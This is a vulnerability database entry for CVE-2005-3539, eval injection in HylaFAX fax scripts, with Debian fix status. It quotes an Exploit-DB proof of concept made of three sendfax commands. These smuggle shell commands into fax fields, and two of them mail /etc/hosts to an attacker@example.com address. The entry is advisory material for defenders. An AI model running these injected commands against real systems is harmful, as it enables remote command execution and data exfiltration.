CVE-2005-3539
Description
Multiple eval injection vulnerabilities in HylaFAX 4.2.3 and earlier allow remote attackers to execute arbitrary commands via (1) the notify script in HylaFAX 4.2.0 to 4.2.3 and (2) crafted CallID parameters to the faxrcvd script in HylaFAX 4.2.2 and 4.2.3.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Hylafax 4.1/4.2 (Multiple Scripts) - Remote Command Execution
source: https://www.securityfocus.com/bid/16151/info
HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.
These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.
sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts
sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts
sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2:4.2.4-2 |
| sid | Fixed | 2:4.2.4-2 |
| forky | Fixed | 2:4.2.4-2 |
| bullseye | Fixed | 2:4.2.4-2 |
| bookworm | Fixed | 2:4.2.4-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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